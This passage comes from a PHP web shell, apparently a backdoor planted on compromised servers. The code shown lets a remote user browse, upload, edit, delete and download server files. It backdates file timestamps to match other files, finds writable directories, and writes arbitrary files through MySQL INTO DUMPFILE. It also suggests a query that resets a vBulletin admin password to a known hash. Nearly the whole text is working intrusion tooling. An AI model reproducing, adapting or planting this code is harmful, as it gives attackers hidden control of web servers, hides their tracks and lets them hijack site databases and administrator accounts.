961 m('Directory delete '.(deltree($thefile) ? basename($thefile).' success' : 'failed'));
962 }
963 }
964
965 // Create new dir
966 elseif ($newdirname) {
967 $mkdirs = $nowpath.$newdirname;
968 if (file_exists($mkdirs)) {
969 m('Directory has already existed');
970 } else {
971 m('Directory created '.(@mkdir($mkdirs,0777) ? 'success' : 'failed'));
972 @chmod($mkdirs,0777);
973 }
974 }
975
976 // Upload file
977 elseif ($doupfile) {
978 m('File upload '.(@copy($_FILES['uploadfile']['tmp_name'],$uploaddir.'/'.$_FILES['uploadfile']['name']) ? 'success' : 'failed'));
979 }
980
981 // Edit file
982 elseif ($editfilename && $filecontent) {
983 $fp = @fopen($editfilename,'w');
984 m('Save file '.(@fwrite($fp,$filecontent) ? 'success' : 'failed'));
985 @fclose($fp);
986 }
987
988 // Modify
989 elseif ($pfile && $newperm) {
990 if (!file_exists($pfile)) {
991 m('The original file does not exist');
992 } else {
993 $newperm = base_convert($newperm,8,10);
994 m('Modify file attributes '.(@chmod($pfile,$newperm) ? 'success' : 'failed'));
995 }
996 }
997
998 // Rename
999 elseif ($oldname && $newfilename) {
1000 $nname = $nowpath.$newfilename;
1001 if (file_exists($nname) || !file_exists($oldname)) {
1002 m($nname.' has already existed or original file does not exist');
1003 } else {
1004 m(basename($oldname).' renamed '.basename($nname).(@rename($oldname,$nname) ? ' success' : 'failed'));
1005 }
1006 }
1007
1008 // Copu
1009 elseif ($sname && $tofile) {
1010 if (file_exists($tofile) || !file_exists($sname)) {
1011 m('The goal file has already existed or original file does not exist');
1012 } else {
1013 m(basename($tofile).' copied '.(@copy($sname,$tofile) ? basename($tofile).' success' : 'failed'));
1014 }
1015 }
1016
1017 // File exit
1018 elseif ($curfile && $tarfile) {
1019 if (!@file_exists($curfile) || !@file_exists($tarfile)) {
1020 m('The goal file has already existed or original file does not exist');
1021 } else {
1022 $time = @filemtime($tarfile);
1023 m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));
1024 }
1025 }
1026
1027 // Date
1028 elseif ($curfile && $year && $month && $day && $hour && $minute && $second) {
1029 if (!@file_exists($curfile)) {
1030 m(basename($curfile).' does not exist');
1031 } else {
1032 $time = strtotime("$year-$month-$day $hour:$minute:$second");
1033 m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));
1034 }
1035 }
1036
1037 // Download
1038 elseif($doing == 'downrar') {
1039 if ($dl) {
1040 $dfiles='';
1041 foreach ($dl as $filepath => $value) {
1042 $dfiles.=$filepath.',';
1043 }
1044 $dfiles=substr($dfiles,0,strlen($dfiles)-1);
1045 $dl=explode(',',$dfiles);
1046 $zip=new PHPZip($dl);
1047 $code=$zip->out;
1048 header('Content-type: application/octet-stream');
1049 header('Accept-Ranges: bytes');
1050 header('Accept-Length: '.strlen($code));
1051 header('Content-Disposition: attachment;filename='.$_SERVER['HTTP_HOST'].'_Files.tar.gz');
1052 echo $code;
1053 exit;
1054 } else {
1055 m('Please select file(s)');
1056 }
1057 }
1058
1059 // Delete file
1060 elseif($doing == 'delfiles') {
1061 if ($dl) {
1062 $dfiles='';
1063 $succ = $fail = 0;
1064 foreach ($dl as $filepath => $value) {
1065 if (@unlink($filepath)) {
1066 $succ++;
1067 } else {
1068 $fail++;
1069 }
1070 }
1071 m('Deleted file have finished??choose '.count($dl).' success '.$succ.' fail '.$fail);
1072 } else {
1073 m('Please select file(s)');
1074 }
1075 }
1076
1077 // Function Newdir
1078 formhead(array('name'=>'createdir'));
1079 makehide('newdirname');
1080 makehide('dir',$nowpath);
1081 formfoot();
1082 formhead(array('name'=>'fileperm'));
1083 makehide('newperm');
1084 makehide('pfile');
1085 makehide('dir',$nowpath);
1086 formfoot();
1087 formhead(array('name'=>'copyfile'));
1088 makehide('sname');
1089 makehide('tofile');
1090 makehide('dir',$nowpath);
1091 formfoot();
1092 formhead(array('name'=>'rename'));
1093 makehide('oldname');
1094 makehide('newfilename');
1095 makehide('dir',$nowpath);
1096 formfoot();
1097 formhead(array('name'=>'fileopform'));
1098 makehide('action');
1099 makehide('opfile');
1100 makehide('dir');
1101 formfoot();
1102
1103 $free = @disk_free_space($nowpath);
1104 !$free && $free = 0;
1105 $all = @disk_total_space($nowpath);
1106 !$all && $all = 0;
1107 $used = $all-$free;
1108 $used_percent = @round(100/($all/$free),2);
1109 p('<font color=yellow face=tahoma size=2><B>File Manager</b> </font> Current disk free <font color=red>'.sizecount($free).'</font> of <font color=red>'.sizecount($all).'</font> (<font color=red>'.$used_percent.'</font>%)</font>');
1110
1111?>
1112<table width="100%" border="0" cellpadding="0" cellspacing="0" style="margin:10px 0;">
1113 <form action="" method="post" id="godir" name="godir">
1114 <tr>
1115 <td nowrap>Current Directory (<?php echo $dir_writeable;?>, <?php echo getChmod($nowpath);?>)</td>
1116 <td width="100%"><input name="view_writable" value="0" type="hidden" /><input class="input" name="dir" value="<?php echo $nowpath;?>" type="text" style="width:100%;margin:0 8px;"></td>
1117 <td nowrap><input class="bt" value="GO" type="submit"></td>
1118 </tr>
1119 </form>
1120</table>
1121<script type="text/javascript">
1122function createdir(){
1123 var newdirname;
1124 newdirname = prompt('Please input the directory name:', '');
1125 if (!newdirname) return;
1126 $('createdir').newdirname.value=newdirname;
1127 $('createdir').submit();
1128}
1129function fileperm(pfile){
1130 var newperm;
1131 newperm = prompt('Current file:'+pfile+'\nPlease input new attribute:', '');
1132 if (!newperm) return;
1133 $('fileperm').newperm.value=newperm;
1134 $('fileperm').pfile.value=pfile;
1135 $('fileperm').submit();
1136}
1137function copyfile(sname){
1138 var tofile;
1139 tofile = prompt('Original file:'+sname+'\nPlease input object file (fullpath):', '');
1140 if (!tofile) return;
1141 $('copyfile').tofile.value=tofile;
1142 $('copyfile').sname.value=sname;
1143 $('copyfile').submit();
1144}
1145function rename(oldname){
1146 var newfilename;
1147 newfilename = prompt('Former file name:'+oldname+'\nPlease input new filename:', '');
1148 if (!newfilename) return;
1149 $('rename').newfilename.value=newfilename;
1150 $('rename').oldname.value=oldname;
1151 $('rename').submit();
1152}
1153function dofile(doing,thefile,m){
1154 if (m && !confirm(m)) {
1155 return;
1156 }
1157 $('filelist').doing.value=doing;
1158 if (thefile){
1159 $('filelist').thefile.value=thefile;
1160 }
1161 $('filelist').submit();
1162}
1163function createfile(nowpath){
1164 var filename;
1165 filename = prompt('Please input the file name:', '');
1166 if (!filename) return;
1167 opfile('editfile',nowpath + filename,nowpath);
1168}
1169function opfile(action,opfile,dir){
1170 $('fileopform').action.value=action;
1171 $('fileopform').opfile.value=opfile;
1172 $('fileopform').dir.value=dir;
1173 $('fileopform').submit();
1174}
1175function godir(dir,view_writable){
1176 if (view_writable) {
1177 $('godir').view_writable.value=1;
1178 }
1179 $('godir').dir.value=dir;
1180 $('godir').submit();
1181}
1182</script>
1183 <?php
1184 tbhead();
1185 p('<form action="'.$self.'" method="POST" enctype="multipart/form-data"><tr class="alt1"><td colspan="7" style="padding:5px;">');
1186 p('<div style="float:right;"><input class="input" name="uploadfile" value="" type="file" /> <input class="" name="doupfile" value="Upload" type="submit" /><input name="uploaddir" value="'.$dir.'" type="hidden" /><input name="dir" value="'.$dir.'" type="hidden" /></div>');
1187 p('<a href="javascript:godir(\''.$_SERVER["DOCUMENT_ROOT"].'\');">WebRoot</a>');
1188 if ($view_writable) {
1189 p(' | <a href="javascript:godir(\''.$nowpath.'\');">View All</a>');
1190 } else {
1191 p(' | <a href="javascript:godir(\''.$nowpath.'\',\'1\');">View Writable</a>');
1192 }
1193 p(' | <a href="javascript:createdir();">Create Directory</a> | <a href="javascript:createfile(\''.$nowpath.'\');">Create File</a>');
1194 if (IS_WIN && IS_COM) {
1195 $obj = new COM('scripting.filesystemobject');
1196 if ($obj && is_object($obj)) {
1197 $DriveTypeDB = array(0 => 'Unknow',1 => 'Removable',2 => 'Fixed',3 => 'Network',4 => 'CDRom',5 => 'RAM Disk');
1198 foreach($obj->Drives as $drive) {
1199 if ($drive->DriveType == 2) {
1200 p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Size:'.sizecount($drive->TotalSize).' Free:'.sizecount($drive->FreeSpace).' Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');
1201 } else {
1202 p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');
1203 }
1204 }
1205 }
1206 }
1207
1208 p('</td></tr></form>');
1209
1210 p('<tr class="head"><td> </td><td>Filename</td><td width="16%">Last modified</td><td width="10%">Size</td><td width="20%">Chmod / Perms</td><td width="22%">Action</td></tr>');
1211
1212 // Get path
1213 $dirdata=array();
1214 $filedata=array();
1215
1216 if ($view_writable) {
1217 $dirdata = GetList($nowpath);
1218 } else {
1219 // Open dir
1220 $dirs=@opendir($dir);
1221 while ($file=@readdir($dirs)) {
1222 $filepath=$nowpath.$file;
1223 if(@is_dir($filepath)){
1224 $dirdb['filename']=$file;
1225 $dirdb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));
1226 $dirdb['dirchmod']=getChmod($filepath);
1227 $dirdb['dirperm']=getPerms($filepath);
1228 $dirdb['fileowner']=getUser($filepath);
1229 $dirdb['dirlink']=$nowpath;
1230 $dirdb['server_link']=$filepath;
1231 $dirdb['client_link']=ue($filepath);
1232 $dirdata[]=$dirdb;
1233 } else {
1234 $filedb['filename']=$file;
1235 $filedb['size']=sizecount(@filesize($filepath));
1236 $filedb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));
1237 $filedb['filechmod']=getChmod($filepath);
1238 $filedb['fileperm']=getPerms($filepath);
1239 $filedb['fileowner']=getUser($filepath);
1240 $filedb['dirlink']=$nowpath;
1241 $filedb['server_link']=$filepath;
1242 $filedb['client_link']=ue($filepath);
1243 $filedata[]=$filedb;
1244 }
1245 }// while
1246 unset($dirdb);
1247 unset($filedb);
1248 @closedir($dirs);
1249 }
1250 @sort($dirdata);
1251 @sort($filedata);
1252 $dir_i = '0';
1253 foreach($dirdata as $key => $dirdb){
1254 if($dirdb['filename']!='..' && $dirdb['filename']!='.') {
1255 $thisbg = bg();
1256 p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
1257 p('<td width="2%" nowrap><font face="wingdings" size="3">0</font></td>');
1258 p('<td><a href="javascript:godir(\''.$dirdb['server_link'].'\');">'.$dirdb['filename'].'</a></td>');
1259 p('<td nowrap>'.$dirdb['mtime'].'</td>');
1260 p('<td nowrap>--</td>');
1261 p('<td nowrap>');
1262 p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirchmod'].'</a> / ');
1263 p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirperm'].'</a>'.$dirdb['fileowner'].'</td>');
1264 p('<td nowrap><a href="javascript:dofile(\'deldir\',\''.$dirdb['server_link'].'\',\'Are you sure will delete '.$dirdb['filename'].'? \\n\\nIf non-empty directory, will be delete all the files.\')">Del</a> | <a href="javascript:rename(\''.$dirdb['server_link'].'\');">Rename</a></td>');
1265 p('</tr>');
1266 $dir_i++;
1267 } else {
1268 if($dirdb['filename']=='..') {
1269 p('<tr class=fout>');
1270 p('<td align="center"><font face="Wingdings 3" size=4>=</font></td><td nowrap colspan="5"><a href="javascript:godir(\''.getUpPath($nowpath).'\');">Parent Directory</a></td>');
1271 p('</tr>');
1272 }
1273 }
1274 }
1275
1276 p('<tr bgcolor="green" stlye="border-top:1px solid gray;border-bottom:1px solid gray;"><td colspan="6" height="5"></td></tr>');
1277 p('<form id="filelist" name="filelist" action="'.$self.'" method="post">');
1278 makehide('action','file');
1279 makehide('thefile');
1280 makehide('doing');
1281 makehide('dir',$nowpath);
1282 $file_i = '0';
1283 foreach($filedata as $key => $filedb){
1284 if($filedb['filename']!='..' && $filedb['filename']!='.') {
1285 $fileurl = str_replace(SA_ROOT,'',$filedb['server_link']);
1286 $thisbg = bg();
1287 p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
1288 p('<td width="2%" nowrap><input type="checkbox" value="1" name="dl['.$filedb['server_link'].']"></td>');
1289 p('<td><a href="'.$fileurl.'" target="_blank">'.$filedb['filename'].'</a></td>');
1290 p('<td nowrap>'.$filedb['mtime'].'</td>');
1291 p('<td nowrap>'.$filedb['size'].'</td>');
1292 p('<td nowrap>');
1293 p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['filechmod'].'</a> / ');
1294 p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['fileperm'].'</a>'.$filedb['fileowner'].'</td>');
1295 p('<td nowrap>');
1296 p('<a href="javascript:dofile(\'downfile\',\''.$filedb['server_link'].'\');">Down</a> | ');
1297 p('<a href="javascript:copyfile(\''.$filedb['server_link'].'\');">Copy</a> | ');
1298 p('<a href="javascript:opfile(\'editfile\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Edit</a> | ');
1299 p('<a href="javascript:rename(\''.$filedb['server_link'].'\');">Rename</a> | ');
1300 p('<a href="javascript:opfile(\'newtime\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Time</a>');
1301 p('</td></tr>');
1302 $file_i++;
1303 }
1304 }
1305 p('<tr class="fout1"><td align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td><td><a href="javascript:dofile(\'downrar\');">Packing download selected</a> - <a href="javascript:dofile(\'delfiles\');">Delete selected</a></td><td colspan="4" align="right">'.$dir_i.' directories / '.$file_i.' files</td></tr>');
1306 p('</form></table>');
1307}// end dir
1308
1309elseif ($action == 'sqlfile') {
1310 if($doing=="mysqlupload"){
1311 $file = $_FILES['uploadfile'];
1312 $filename = $file['tmp_name'];
1313 if (file_exists($savepath)) {
1314 m('The goal file has already existed');
1315 } else {
1316 if(!$filename) {
1317 m('Please choose a file');
1318 } else {
1319 $fp=@fopen($filename,'r');
1320 $contents=@fread($fp, filesize($filename));
1321 @fclose($fp);
1322 $contents = bin2hex($contents);
1323 if(!$upname) $upname = $file['name'];
1324 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
1325 $result = q("SELECT 0x{$contents} FROM mysql.user INTO DUMPFILE '$savepath';");
1326 m($result ? 'Upload success' : 'Upload has failed: '.mysql_error());
1327 }
1328 }
1329 }
1330?>
1331<script type="text/javascript">
1332function mysqlfile(doing){
1333 if(!doing) return;
1334 $('doing').value=doing;
1335 $('mysqlfile').dbhost.value=$('dbinfo').dbhost.value;
1336 $('mysqlfile').dbport.value=$('dbinfo').dbport.value;
1337 $('mysqlfile').dbuser.value=$('dbinfo').dbuser.value;
1338 $('mysqlfile').dbpass.value=$('dbinfo').dbpass.value;
1339 $('mysqlfile').dbname.value=$('dbinfo').dbname.value;
1340 $('mysqlfile').charset.value=$('dbinfo').charset.value;
1341 $('mysqlfile').submit();
1342}
1343</script>
1344<?php
1345 !$dbhost && $dbhost = 'localhost';
1346 !$dbuser && $dbuser = 'root';
1347 !$dbport && $dbport = '3306';
1348 $charsets = array(''=>'Default','gbk'=>'GBK', 'big5'=>'Big5', 'utf8'=>'UTF-8', 'latin1'=>'Latin1');
1349 formhead(array('title'=>'MYSQL Information','name'=>'dbinfo'));
1350 makehide('action','sqlfile');
1351 p('<p>');
1352 p('DBHost:');
1353 makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));
1354 p(':');
1355 makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));
1356 p('DBUser:');
1357 makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));
1358 p('DBPass:');
1359 makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));
1360 p('DBName:');
1361 makeinput(array('name'=>'dbname','size'=>15,'value'=>$dbname));
1362 p('DBCharset:');
1363 makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset));
1364 p('</p>');
1365 formfoot();
1366 p('<form action="'.$self.'" method="POST" enctype="multipart/form-data" name="mysqlfile" id="mysqlfile">');
1367 p('<h2>Upload file</h2>');
1368 p('<p><b>This operation the DB user must has FILE privilege</b></p>');
1369 p('<p>Save path(fullpath): <input class="input" name="savepath" size="45" type="text" /> Choose a file: <input class="input" name="uploadfile" type="file" /> <a href="javascript:mysqlfile(\'mysqlupload\');">Upload</a></p>');
1370 p('<h2>Download file</h2>');
1371 p('<p>File: <input class="input" name="mysqldlfile" size="115" type="text" /> <a href="javascript:mysqlfile(\'mysqldown\');">Download</a></p>');
1372 makehide('dbhost');
1373 makehide('dbport');
1374 makehide('dbuser');
1375 makehide('dbpass');
1376 makehide('dbname');
1377 makehide('charset');
1378 makehide('doing');
1379 makehide('action','sqlfile');
1380 p('</form>');
1381}
1382
1383elseif ($action == 'sqladmin') {
1384 !$dbhost && $dbhost = 'localhost';
1385 !$dbuser && $dbuser = 'root';
1386 !$dbport && $dbport = '3306';
1387 $dbform = '<input type="hidden" id="connect" name="connect" value="1" />';
1388 if(isset($dbhost)){
1389 $dbform .= "<input type=\"hidden\" id=\"dbhost\" name=\"dbhost\" value=\"$dbhost\" />\n";
1390 }
1391 if(isset($dbuser)) {
1392 $dbform .= "<input type=\"hidden\" id=\"dbuser\" name=\"dbuser\" value=\"$dbuser\" />\n";
1393 }
1394 if(isset($dbpass)) {
1395 $dbform .= "<input type=\"hidden\" id=\"dbpass\" name=\"dbpass\" value=\"$dbpass\" />\n";
1396 }
1397 if(isset($dbport)) {
1398 $dbform .= "<input type=\"hidden\" id=\"dbport\" name=\"dbport\" value=\"$dbport\" />\n";
1399 }
1400 if(isset($dbname)) {
1401 $dbform .= "<input type=\"hidden\" id=\"dbname\" name=\"dbname\" value=\"$dbname\" />\n";
1402 }
1403 if(isset($charset)) {
1404 $dbform .= "<input type=\"hidden\" id=\"charset\" name=\"charset\" value=\"$charset\" />\n";
1405 }
1406
1407 if ($doing == 'backupmysql' && $saveasfile) {
1408 if (!$table) {
1409 m('Please choose the table');
1410 } else {
1411 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
1412 $table = array_flip($table);
1413 $fp = @fopen($path,'w');
1414 if ($fp) {
1415 $result = q('SHOW tables');
1416 if (!$result) p('<h2>'.mysql_error().'</h2>');
1417 $mysqldata = '';
1418 while ($currow = mysql_fetch_array($result)) {
1419 if (isset($table[$currow[0]])) {
1420 sqldumptable($currow[0], $fp);
1421 }
1422 }
1423 fclose($fp);
1424 $fileurl = str_replace(SA_ROOT,'',$path);
1425 m('Database has success backup to <a href="'.$fileurl.'" target="_blank">'.$path.'</a>');
1426 mysql_close();
1427 } else {
1428 m('Backup failed');
1429 }
1430 }
1431 }
1432 if ($insert && $insertsql) {
1433 $keystr = $valstr = $tmp = '';
1434 foreach($insertsql as $key => $val) {
1435 if ($val) {
1436 $keystr .= $tmp.$key;
1437 $valstr .= $tmp."'".addslashes($val)."'";
1438 $tmp = ',';
1439 }
1440 }
1441 if ($keystr && $valstr) {
1442 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
1443 m(q("INSERT INTO $tablename ($keystr) VALUES ($valstr)") ? 'Insert new record of success' : mysql_error());
1444 }
1445 }
1446 if ($update && $insertsql && $base64) {
1447 $valstr = $tmp = '';
1448 foreach($insertsql as $key => $val) {
1449 $valstr .= $tmp.$key."='".addslashes($val)."'";
1450 $tmp = ',';
1451 }
1452 if ($valstr) {
1453 $where = base64_decode($base64);
1454 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
1455 m(q("UPDATE $tablename SET $valstr WHERE $where LIMIT 1") ? 'Record updating' : mysql_error());
1456 }
1457 }
1458 if ($doing == 'del' && $base64) {
1459 $where = base64_decode($base64);
1460 $delete_sql = "DELETE FROM $tablename WHERE $where";
1461 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
1462 m(q("DELETE FROM $tablename WHERE $where") ? 'Deletion record of success' : mysql_error());
1463 }
1464
1465 if ($tablename && $doing == 'drop') {
1466 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
1467 if (q("DROP TABLE $tablename")) {
1468 m('Drop table of success');
1469 $tablename = '';
1470 } else {
1471 m(mysql_error());
1472 }
1473 }
1474
1475 $charsets = array(''=>'Default','gbk'=>'GBK', 'big5'=>'Big5', 'utf8'=>'UTF-8', 'latin1'=>'Latin1');
1476
1477 formhead(array('title'=>'MYSQL Manager'));
1478 makehide('action','sqladmin');
1479 p('<p>');
1480 p('DBHost:');
1481 makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));
1482 p(':');
1483 makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));
1484 p('DBUser:');
1485 makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));
1486 p('DBPass:');
1487 makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));
1488 p('DBCharset:');
1489 makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset));
1490 makeinput(array('name'=>'connect','value'=>'Connect','type'=>'submit','class'=>'bt'));
1491 p('</p>');
1492 formfoot();
1493?>
1494<script type="text/javascript">
1495function editrecord(action, base64, tablename){
1496 if (action == 'del') {
1497 if (!confirm('Is or isn\'t deletion record?')) return;
1498 }
1499 $('recordlist').doing.value=action;
1500 $('recordlist').base64.value=base64;
1501 $('recordlist').tablename.value=tablename;
1502 $('recordlist').submit();
1503}
1504function moddbname(dbname) {
1505 if(!dbname) return;
1506 $('setdbname').dbname.value=dbname;
1507 $('setdbname').submit();
1508}
1509function settable(tablename,doing,page) {
1510 if(!tablename) return;
1511 if (doing) {
1512 $('settable').doing.value=doing;
1513 }
1514 if (page) {
1515 $('settable').page.value=page;
1516 }
1517 $('settable').tablename.value=tablename;
1518 $('settable').submit();
1519}
1520</script>
1521<?php
1522 // SQL
1523 formhead(array('name'=>'recordlist'));
1524 makehide('doing');
1525 makehide('action','sqladmin');
1526 makehide('base64');
1527 makehide('tablename');
1528 p($dbform);
1529 formfoot();
1530
1531 // Data
1532 formhead(array('name'=>'setdbname'));
1533 makehide('action','sqladmin');
1534 p($dbform);
1535 if (!$dbname) {
1536 makehide('dbname');
1537 }
1538 formfoot();
1539
1540
1541 formhead(array('name'=>'settable'));
1542 makehide('action','sqladmin');
1543 p($dbform);
1544 makehide('tablename');
1545 makehide('page',$page);
1546 makehide('doing');
1547 formfoot();
1548
1549 $cachetables = array();
1550 $pagenum = 30;
1551 $page = intval($page);
1552 if($page) {
1553 $start_limit = ($page - 1) * $pagenum;
1554 } else {
1555 $start_limit = 0;
1556 $page = 1;
1557 }
1558 if (isset($dbhost) && isset($dbuser) && isset($dbpass) && isset($connect)) {
1559 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
1560 // get mysql server
1561 $mysqlver = mysql_get_server_info();
1562 p('<p>MySQL '.$mysqlver.' running in '.$dbhost.' as '.$dbuser.'@'.$dbhost.'</p>');
1563 $highver = $mysqlver > '4.1' ? 1 : 0;
1564
1565 // Show database
1566 $query = q("SHOW DATABASES");
1567 $dbs = array();
1568 $dbs[] = '-- Select a database --';
1569 while($db = mysql_fetch_array($query)) {
1570 $dbs[$db['Database']] = $db['Database'];
1571 }
1572 makeselect(array('title'=>'Please select a database:','name'=>'db[]','option'=>$dbs,'selected'=>$dbname,'onchange'=>'moddbname(this.options[this.selectedIndex].value)','newline'=>1));
1573 $tabledb = array();
1574 if ($dbname) {
1575 p('<p>');
1576 p('Current dababase: <a href="javascript:moddbname(\''.$dbname.'\');">'.$dbname.'</a>');
1577 if ($tablename) {
1578 p(' | Current Table: <a href="javascript:settable(\''.$tablename.'\');">'.$tablename.'</a> [ <a href="javascript:settable(\''.$tablename.'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$tablename.'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$tablename.'\', \'drop\');">Drop</a> ]');
1579 }
1580 p('</p>');
1581 mysql_select_db($dbname);
1582
1583 $getnumsql = '';
1584 $runquery = 0;
1585 if ($sql_query) {
1586 $runquery = 1;
1587 }
1588 $allowedit = 0;
1589 if ($tablename && !$sql_query) {
1590 $sql_query = "SELECT * FROM $tablename";
1591 $getnumsql = $sql_query;
1592 $sql_query = $sql_query." LIMIT $start_limit, $pagenum";
1593 $allowedit = 1;
1594 }
1595 p('<form action="'.$self.'" method="POST">');
1596 p('<p><table width="200" border="0" cellpadding="0" cellspacing="0"><tr><td colspan="2">Run SQL query/queries on database <font color=red><b>'.$dbname.'</font></b>:<BR>Example VBB Password: <font color=red>vbateam</font><BR><font color=yellow>UPDATE `user` SET `password` = \'69e53e5ab9536e55d31ff533aefc4fbe\', salt = \'p5T\' WHERE `userid` = \'1\' </font>
1597 </td></tr><tr><td><textarea name="sql_query" class="area" style="width:600px;height:50px;overflow:auto;">'.htmlspecialchars($sql_query,ENT_QUOTES).'</textarea></td><td style="padding:0 5px;"><input class="bt" style="height:50px;" name="submit" type="submit" value="Query" /></td></tr></table></p>');
1598 makehide('tablename', $tablename);
1599 makehide('action','sqladmin');
1600 p($dbform);
1601 p('</form>');
1602 if ($tablename || ($runquery && $sql_query)) {
1603 if ($doing == 'structure') {
1604 $result = q("SHOW COLUMNS FROM $tablename");
1605 $rowdb = array();
1606 while($row = mysql_fetch_array($result)) {
1607 $rowdb[] = $row;
1608 }
1609 p('<table border="0" cellpadding="3" cellspacing="0">');
1610 p('<tr class="head">');
1611 p('<td>Field</td>');
1612 p('<td>Type</td>');
1613 p('<td>Null</td>');
1614 p('<td>Key</td>');
1615 p('<td>Default</td>');
1616 p('<td>Extra</td>');
1617 p('</tr>');
1618 foreach ($rowdb as $row) {
1619 $thisbg = bg();
1620 p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
1621 p('<td>'.$row['Field'].'</td>');
1622 p('<td>'.$row['Type'].'</td>');
1623 p('<td>'.$row['Null'].' </td>');
1624 p('<td>'.$row['Key'].' </td>');
1625 p('<td>'.$row['Default'].' </td>');
1626 p('<td>'.$row['Extra'].' </td>');
1627 p('</tr>');
1628 }
1629 tbfoot();
1630 } elseif ($doing == 'insert' || $doing == 'edit') {
1631 $result = q('SHOW COLUMNS FROM '.$tablename);
1632 while ($row = mysql_fetch_array($result)) {
1633 $rowdb[] = $row;
1634 }
1635 $rs = array();
1636 if ($doing == 'insert') {
1637 p('<h2>Insert new line in '.$tablename.' table »</h2>');
1638 } else {
1639 p('<h2>Update record in '.$tablename.' table »</h2>');
1640 $where = base64_decode($base64);
1641 $result = q("SELECT * FROM $tablename WHERE $where LIMIT 1");
1642 $rs = mysql_fetch_array($result);
1643 }
1644 p('<form method="post" action="'.$self.'">');
1645 p($dbform);
1646 makehide('action','sqladmin');
1647 makehide('tablename',$tablename);
1648 p('<table border="0" cellpadding="3" cellspacing="0">');
1649 foreach ($rowdb as $row) {
1650 if ($rs[$row['Field']]) {
1651 $value = htmlspecialchars($rs[$row['Field']]);
1652 } else {
1653 $value = '';
1654 }
1655 $thisbg = bg();
1656 p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
1657 p('<td><b>'.$row['Field'].'</b><br />'.$row['Type'].'</td><td><textarea class="area" name="insertsql['.$row['Field'].']" style="width:500px;height:60px;overflow:auto;">'.$value.'</textarea></td></tr>');
1658 }
1659 if ($doing == 'insert') {
1660 p('<tr class="fout"><td colspan="2"><input class="bt" type="submit" name="insert" value="Insert" /></td></tr>');
1661 } else {
1662 p('<tr class="fout"><td colspan="2"><input class="bt" type="submit" name="update" value="Update" /></td></tr>');
1663 makehide('base64', $base64);
1664 }
1665 p('</table></form>');
1666 } else {
1667 $querys = @explode(';',$sql_query);
1668 foreach($querys as $num=>$query) {
1669 if ($query) {
1670 p("<p><b>Query#{$num} : ".htmlspecialchars($query,ENT_QUOTES)."</b></p>");
1671 switch(qy($query))
1672 {
1673 case 0:
1674 p('<h2>Error : '.mysql_error().'</h2>');
1675 break;
1676 case 1:
1677 if (strtolower(substr($query,0,13)) == 'select * from') {
1678 $allowedit = 1;
1679 }
1680 if ($getnumsql) {
1681 $tatol = mysql_num_rows(q($getnumsql));
1682 $multipage = multi($tatol, $pagenum, $page, $tablename);
1683 }
1684 if (!$tablename) {
1685 $sql_line = str_replace(array("\r", "\n", "\t"), array(' ', ' ', ' '), trim(htmlspecialchars($query)));
1686 $sql_line = preg_replace("/\/\*[^(\*\/)]*\*\//i", " ", $sql_line);
1687 preg_match_all("/from\s+`{0,1}([\w]+)`{0,1}\s+/i",$sql_line,$matches);
1688 $tablename = $matches[1][0];
1689 }
1690 $result = q($query);
1691 p($multipage);
1692 p('<table border="0" cellpadding="3" cellspacing="0">');
1693 p('<tr class="head">');
1694 if ($allowedit) p('<td>Action</td>');
1695 $fieldnum = @mysql_num_fields($result);
1696 for($i=0;$i<$fieldnum;$i++){
1697 $name = @mysql_field_name($result, $i);
1698 $type = @mysql_field_type($result, $i);
1699 $len = @mysql_field_len($result, $i);
1700 p("<td nowrap>$name<br><span>$type($len)</span></td>");
1701 }
1702 p('</tr>');
1703 while($mn = @mysql_fetch_assoc($result)){
1704 $thisbg = bg();
1705 p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
1706 $where = $tmp = $b1 = '';
1707 foreach($mn as $key=>$inside){
1708 if ($inside) {
1709 $where .= $tmp.$key."='".addslashes($inside)."'";
1710 $tmp = ' AND ';
1711 }
1712 $b1 .= '<td nowrap>'.html_clean($inside).' </td>';
1713 }
1714 $where = base64_encode($where);
